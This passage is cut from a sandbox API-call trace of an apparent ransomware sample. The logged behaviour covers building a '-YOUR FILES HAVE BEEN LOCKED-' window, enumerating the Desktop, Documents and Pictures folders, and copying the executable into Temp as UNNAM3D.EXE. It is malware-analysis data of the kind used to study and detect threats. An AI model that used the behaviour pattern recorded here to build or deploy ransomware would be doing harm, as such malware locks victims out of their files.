Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.623] GetParent (hWnd=0x201ee) returned 0x80044 [0033.623] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.624] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.624] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.624] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="-YOUR FILES HAVE BEEN LOCKED-", dwStyle=0x5600000d, X=12, Y=22, nWidth=398, nHeight=25, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x201ec [0033.624] SetWindowLongW (hWnd=0x201ec, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.624] GetWindowLongW (hWnd=0x201ec, nIndex=-4) returned 1961408713 [0033.624] SetWindowLongW (hWnd=0x201ec, nIndex=-4, dwNewLong=19315870) returned 1961408713 [0033.624] GetWindowLongW (hWnd=0x201ec, nIndex=-4) returned 19315870 [0033.624] GetWindowLongW (hWnd=0x201ec, nIndex=-16) returned 1174405133 [0033.624] GetWindowLongW (hWnd=0x201ec, nIndex=-12) returned 0 [0033.624] SetWindowLongW (hWnd=0x201ec, nIndex=-12, dwNewLong=131564) returned 0 [0033.624] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.624] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.624] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.624] GetWindow (hWnd=0x201ec, uCmd=0x3) returned 0x201ee [0033.625] GetClientRect (in: hWnd=0x201ec, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.625] GetWindowRect (in: hWnd=0x201ec, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.625] GetParent (hWnd=0x201ec) returned 0x80044 [0033.625] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.625] SetWindowTextW (hWnd=0x201ec, lpString="-YOUR FILES HAVE BEEN LOCKED-") returned 1 [0033.625] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0xc, wParam=0x0, lParam=0x2f46e40) returned 0x1 [0033.625] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x5, wParam=0x0, lParam=0x19018e) returned 0x0 [0033.625] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x3, wParam=0x0, lParam=0x16000c) returned 0x0 [0033.625] GetClientRect (in: hWnd=0x201ec, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.625] GetWindowRect (in: hWnd=0x201ec, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.625] GetParent (hWnd=0x201ec) returned 0x80044 [0033.625] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.625] SendMessageW (hWnd=0x201ec, Msg=0x2210, wParam=0x1ec0001, lParam=0x201ec) returned 0x0 [0033.625] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x2210, wParam=0x1ec0001, lParam=0x201ec) returned 0x0 [0033.625] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.625] GetParent (hWnd=0x201ec) returned 0x80044 [0033.625] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.625] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.625] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.625] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=344, Y=322, nWidth=177, nHeight=132, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x201c0 [0033.626] SetWindowLongW (hWnd=0x201c0, nIndex=-4, dwNewLong=2011243997) returned 19269902 [0033.626] GetWindowLongW (hWnd=0x201c0, nIndex=-4) returned 2011243997 [0033.626] SetWindowLongW (hWnd=0x201c0, nIndex=-4, dwNewLong=19315910) returned 2011243997 [0033.626] GetWindowLongW (hWnd=0x201c0, nIndex=-4) returned 19315910 [0033.626] GetWindowLongW (hWnd=0x201c0, nIndex=-16) returned 1174405120 [0033.626] GetWindowLongW (hWnd=0x201c0, nIndex=-12) returned 0 [0033.626] SetWindowLongW (hWnd=0x201c0, nIndex=-12, dwNewLong=131520) returned 0 [0033.626] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.626] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.626] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.626] GetWindow (hWnd=0x201c0, uCmd=0x3) returned 0x201ec [0033.626] GetClientRect (in: hWnd=0x201c0, lpRect=0x3ee3b0 | out: lpRect=0x3ee3b0) returned 1 [0033.626] GetWindowRect (in: hWnd=0x201c0, lpRect=0x3ee3b0 | out: lpRect=0x3ee3b0) returned 1 [0033.626] GetParent (hWnd=0x201c0) returned 0x80044 [0033.626] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3b0, cPoints=0x2 | out: lpPoints=0x3ee3b0) returned -14025190 [0033.626] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x5, wParam=0x0, lParam=0x8400b1) returned 0x0 [0033.626] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x3, wParam=0x0, lParam=0x1420158) returned 0x0 [0033.626] GetClientRect (in: hWnd=0x201c0, lpRect=0x3ee408 | out: lpRect=0x3ee408) returned 1 [0033.626] GetWindowRect (in: hWnd=0x201c0, lpRect=0x3ee408 | out: lpRect=0x3ee408) returned 1 [0033.626] GetParent (hWnd=0x201c0) returned 0x80044 [0033.626] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee408, cPoints=0x2 | out: lpPoints=0x3ee408) returned -14025190 [0033.626] SendMessageW (hWnd=0x201c0, Msg=0x2210, wParam=0x1c00001, lParam=0x201c0) returned 0x0 [0033.627] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x2210, wParam=0x1c00001, lParam=0x201c0) returned 0x0 [0033.627] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.627] GetParent (hWnd=0x201c0) returned 0x80044 [0033.627] GetWindowTextLengthW (hWnd=0x80044) returned 7 [0033.627] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0033.627] GetSystemMetrics (nIndex=42) returned 0 [0033.627] GetWindowTextW (in: hWnd=0x80044, lpString=0x3eeb5c, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0033.627] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xd, wParam=0x8, lParam=0x3eeb5c) returned 0x7 [0033.675] GetProcessHeap () returned 0x510000 [0033.675] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0120 | out: hHeap=0x510000) returned 1 [0033.675] GetProcessHeap () returned 0x510000 [0033.675] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x591948 | out: hHeap=0x510000) returned 1 [0033.675] CoTaskMemAlloc (cb=0x20c) returned 0x5b07b0 [0033.675] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x5b07b0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0033.675] CoTaskMemFree (pv=0x5b07b0) [0033.675] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3ee3c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0033.677] CoTaskMemAlloc (cb=0x20c) returned 0x5b07b0 [0033.677] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x5b07b0 | out: pszPath="C:\\Users\\WhuOXYsD\\Documents") returned 0x0 [0033.680] CoTaskMemFree (pv=0x5b07b0) [0033.680] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", nBufferLength=0x105, lpBuffer=0x3ee324, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents", lpFilePart=0x0) returned 0x1b [0033.680] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3edef4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0033.682] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe", nBufferLength=0x105, lpBuffer=0x3ee330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe", lpFilePart=0x0) returned 0x29 [0033.682] CoTaskMemAlloc (cb=0x20c) returned 0x5b07b0 [0033.682] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x5b07b0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0033.682] CoTaskMemFree (pv=0x5b07b0) [0033.682] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3ee3c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0033.683] CoTaskMemAlloc (cb=0x20c) returned 0x5b07b0 [0033.683] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x5b07b0 | out: pszPath="C:\\Users\\WhuOXYsD\\Pictures") returned 0x0 [0033.684] CoTaskMemFree (pv=0x5b07b0) [0033.684] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", nBufferLength=0x105, lpBuffer=0x3ee324, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures", lpFilePart=0x0) returned 0x1a [0033.684] CoTaskMemAlloc (cb=0x20c) returned 0x5b07b0 [0033.684] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x5b07b0 | out: pszPath="C:\\Users\\WhuOXYsD\\Desktop") returned 0x0 [0033.685] CoTaskMemFree (pv=0x5b07b0) [0033.685] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x3ee324, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0033.685] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x3ee3b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0033.686] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3edef4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0033.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee860) returned 1 [0033.688] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x3ee368, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0033.688] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0x3ee33c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0033.689] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0x3ee588 | out: lpFindFileData=0x3ee588) returned 0x54f358 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.690] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.691] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.692] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.692] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.692] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.692] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.692] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.692] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 0 [0033.692] FindClose (in: hFindFile=0x54f358 | out: hFindFile=0x54f358) returned 1 [0033.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee820) returned 1 [0033.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee82c) returned 1 [0033.693] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3edef4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0033.694] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", nBufferLength=0x105, lpBuffer=0x3ee3b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures", lpFilePart=0x0) returned 0x1a [0033.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee860) returned 1 [0033.694] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x3ee368, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0033.694] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0x3ee33c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0033.694] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0x3ee588 | out: lpFindFileData=0x3ee588) returned 0x54f358 [0033.694] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.694] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.694] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.694] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.694] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.694] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.694] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.695] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.695] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.695] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.695] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.695] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.696] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.697] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.697] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.697] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 0 [0033.697] FindClose (in: hFindFile=0x54f358 | out: hFindFile=0x54f358) returned 1 [0033.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee820) returned 1 [0033.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee82c) returned 1 [0033.697] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", nBufferLength=0x105, lpBuffer=0x3ee3b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents", lpFilePart=0x0) returned 0x1b [0033.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee860) returned 1 [0033.697] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x3ee368, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0033.697] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0x3ee33c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0033.697] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0x3ee588 | out: lpFindFileData=0x3ee588) returned 0x54f358 [0033.697] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.698] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.699] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.700] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.700] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 1 [0033.700] FindNextFileW (in: hFindFile=0x54f358, lpFindFileData=0x3ee598 | out: lpFindFileData=0x3ee598) returned 0 [0033.700] FindClose (in: hFindFile=0x54f358 | out: hFindFile=0x54f358) returned 1 [0033.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee820) returned 1 [0033.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee82c) returned 1 [0033.700] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe", nBufferLength=0x105, lpBuffer=0x3ee330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe", lpFilePart=0x0) returned 0x29 [0033.702] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0x3ee3b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0033.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee818) returned 1 [0033.702] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe"), fInfoLevelId=0x0, lpFileInformation=0x3ee894 | out: lpFileInformation=0x3ee894*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0033.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee814) returned 1 [0033.703] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe", nBufferLength=0x105, lpBuffer=0x3ee370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe", lpFilePart=0x0) returned 0x29 [0033.703] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0x3ee370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0033.703] CopyFileW (lpExistingFileName="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe" (normalized: "c:\\users\\whuoxysd\\desktop\\gblyrzexggw.exe"), lpNewFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe"), bFailIfExists=1) returned 1 [0034.129] GetProcessHeap () returned 0x510000 [0034.129] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b938 | out: hHeap=0x510000) returned 1 [0034.129] GetProcessHeap () returned 0x510000 [0034.129] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 